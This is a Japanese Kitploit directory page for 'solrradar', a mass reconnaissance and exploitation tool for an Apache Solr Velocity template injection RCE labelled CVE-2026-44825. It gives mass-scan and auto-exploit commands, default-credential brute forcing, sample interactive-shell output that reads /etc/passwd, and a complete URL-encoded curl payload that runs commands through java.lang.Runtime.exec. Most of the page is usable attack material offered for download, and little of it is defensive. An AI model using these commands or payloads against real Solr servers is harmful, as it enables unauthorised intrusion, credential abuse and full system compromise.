Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/shinthink/solrradar
偵察脆弱性スキャナーパスワード攻撃エクスプロイトウェブアプリケーション悪用情報収集ペネトレーションテストコマンド&コントロールレッドチーミングペイロード開発
GitHubshinthink/solrradar

solrradar

☄️ Apache Solr CVE-2026-44825 向けの大規模偵察およびエクスプロイトフレームワーク — VelocityテンプレートインジェクションによるRCE

リポジトリを見る
51542ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

SolrRadar — CVE-2026-44825 Apache Solr スキャナー

Python CVE License

Threads Version Brute RCE Shell

Apache Solr 向けの大規模偵察・エクスプロイトフレームワーク

Velocity テンプレートインジェクション → リモートコード実行



📑 目次

  • 脆弱性の概要
  • 影響を受けるバージョン
  • 機能
  • インストール
  • 使用方法
  • 概念実証
  • 技術詳細
  • 検出方法
  • 防御と緩和策
  • 免責事項
  • 参考情報

🔴 脆弱性の概要

CVE-2026-44825 は Apache Solr における深刻度「Critical」の脆弱性であり、攻撃者が Velocity テンプレートインジェクションを通じて認証なしのリモートコード実行 (RCE) を達成することを可能にします。

問題

Apache Solr の /select エンドポイントは、ユーザーが指定した Velocity テンプレートを描画する wt=velocity パラメータを受け入れます。Velocity Response Writer が有効な場合(または設定 API を介して有効化できる場合)、攻撃者は java.lang.Runtime.exec() を呼び出す悪意のあるテンプレートを注入し、Solr プロセスの権限で任意のシステムコマンドを実行できます。

影響

攻撃ベクトル深刻度影響
認証なし RCE9.8 (Critical)システム全体の完全な侵害
認証済み RCE8.8 (High)認証後のコード実行
情報漏えい5.3 (Medium)コア/コレクションの列挙

Velocity テンプレートエンジン

Apache Solr には、レスポンス描画用のオプションのテンプレートエンジンとして Apache Velocity がバンドルされています。この脆弱性は、ユーザーが制御するテンプレートパラメータを適切なサニタイズなしに処理する Solr の VelocityResponseWriter に存在し、Java リフレクション API の直接呼び出しを可能にします:

Java Reflection Chain:
vtl → Class.forName("java.lang.Runtime") → getRuntime().exec(cmd)

🟠 影響を受けるバージョン

Apache Solr バージョンステータス備考
9.4.0 – 9.10.1🔴 脆弱実環境で活発に悪用されている
10.0.0🔴 脆弱最初の 10.x リリースが影響を受ける
10.0.1+🟢 パッチ適用済み修正がバックポートされた
9.10.2+🟢 パッチ適用済みパッチリリースが利用可能
≤ 9.3.x🟢 影響なしVelocity Response Writer が存在しない
8.x (すべて)🟢 影響なしVelocity をサポートしていない

注記: バージョンチェックは、/admin/info/system の JSON レスポンスを解析して自動的に実行されます。


✨ 機能

🔍 偵察

  • マルチターゲットスキャン — 30 の同時スレッド、設定可能
  • バージョンフィンガープリンティング — Solr と Lucene の正確なバージョンを抽出
  • デュアルモード検出 — SolrCloud + スタンドアロン(シングルノード)
  • 認証検知プロービング — Basic 認証を検出するため 3 つの管理エンドポイントをテスト
  • コレクション列挙 — 可能な場合、認証なしでコレクション/コアを一覧表示

💀 エクスプロイト

  • 認証情報のブルートフォース — Solr のデフォルト認証情報の組み込み辞書
  • Velocity RCE — java.lang.Runtime.exec() によるテンプレートインジェクション
  • 対話型シェル — ポストエクスプロイトコマンド用の擬似ターミナル
  • 自動エクスプロイトチェーン — 検出 → ブルートフォース → RCE を 1 コマンドで実行
  • JSON エクスポート — 他のツールとの統合のための構造化出力

📦 インストール

# Clone the repository
git clone https://github.com/shinthink/solrradar.git
cd solrradar

# Install dependencies
pip install -r requirements.txt

# Verify
python solr_scanner.py --help

要件

requests>=2.28.0
urllib3>=1.26.0

標準ライブラリ + requests のみ。特殊な依存関係はありません。


📖 使用方法

コマンドライン引数

CVE-2026-44825 Apache Solr Scanner

  -t, --target     Single target URL or IP[:port]
  -f, --file       File containing targets (one per line, # for comments)
  --exploit        Auto-exploit if vulnerable credentials are found
  --rce            Launch interactive shell after authentication
  -u, --user       Username for Basic Auth
  -pw, --password  Password for Basic Auth
  -o, --output     JSON output file path          (default: solr_results.json)
  -w, --workers    Number of concurrent threads   (default: 30)
  -T, --timeout    HTTP request timeout (seconds) (default: 8)

基本的なスキャン

# Single target
python solr_scanner.py -t 192.168.1.100:8983

# Single target with custom path
python solr_scanner.py -t http://example.com/solr

# Mass scan from file
python solr_scanner.py -f targets.txt -o results.json

ターゲットファイルの形式

# targets.txt — supports comments and blank lines
192.168.10.10:8983
192.168.10.20:8983
http://solr-target.internal/solr
192.168.1.0/24          # (CIDR not supported; pre-expand with external tool)

エクスプロイト

# Scan + auto-exploit if creds found
python solr_scanner.py -f targets.txt --exploit

# Known credentials + interactive shell
python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks

# Auto brute-force + shell on success
python solr_scanner.py -t target:8983 --rce

🧪 概念実証

シナリオ 1: 検出とバージョンフィンガープリンティング

$ python solr_scanner.py -f targets.txt
CVE-2026-44825 Apache Solr Scanner

Targets: 3 | Threads: 30 | Timeout: 8s
Scanning...

[Solr 8.11.2] http://192.168.10.10:8983/solr
[Solr 8.11.2] http://192.168.10.20:8983/solr
    Cols (no auth): ['authority', 'dfa', 'oai', 'search']
[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr

Done. Total:3 | Solr:3 | Vuln:1

3 つのターゲットすべてが検出されました。9.4.1 インスタンスは Basic 認証が有効で、脆弱としてフラグ付けされています。


シナリオ 2: 認証情報のブルートフォース

$ python solr_scanner.py -t solr-target.internal
CVE-2026-44825 Apache Solr Scanner

[Solr 9.4.1] VULN +Auth http://solr-target.internal/solr
    [!] admin:SolrRocks
    Cols: ['cms', 'users', 'search', 'analytics']

デフォルト認証情報 admin:SolrRocks により Solr 管理 API へのアクセスが許可されます。4 つのコレクションが発見されました。


シナリオ 3: Velocity インジェクションによる認証済み RCE

$ python solr_scanner.py -t target:8983 --rce -u admin -pw SolrRocks
CVE-2026-44825 Apache Solr Scanner

[+] admin:SolrRocks

solr$ id
uid=8983(solr) gid=8983(solr) groups=8983(solr)

solr$ hostname
solr-prod-cms-01.internal

solr$ whoami
solr

solr$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
solr:x:8983:8983:Solr:/var/solr:/sbin/nologin
...

solr$ exit

Solr Java プロセスの権限を持つ完全な対話型シェルアクセスが得られます。


シナリオ 4: RCE ペイロード(手動での再現)

生の HTTP 通信を理解したい研究者向け:

ステップ 1 — Solr に到達できることを確認

curl -sk 'http://target:8983/solr/admin/info/system' | jq '.lucene."solr-spec-version"'
# "9.4.1"

ステップ 2 — 利用可能なコレクションを一覧表示

curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  'http://target:8983/solr/admin/collections?action=LIST'
# {"collections": ["cms", "search"]}

ステップ 3 — Velocity テンプレートインジェクションでコマンドを実行

curl -sk -H 'Authorization: Basic YWRtaW46U29sclJvY2tz' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d 'q=1&wt=velocity&v.template=custom&v.template.custom=%23set(%24x=%27%27)%23set(%24rt=%24x.class.forName(%27java.lang.Runtime%27))%23set(%24chr=%24x.class.forName(%27java.lang.Character%27))%23set(%24ex=%24rt.getRuntime().exec(%27id%27))%24ex.waitFor()%25%23set(%24out=%24ex.getInputStream())%23foreach(%24i%20in%20[1..%24out.available()])%24str.valueOf(%24chr.toChars(%24out.read()))%23end' \
  'http://target:8983/solr/cms/select'
ツールをダウンロード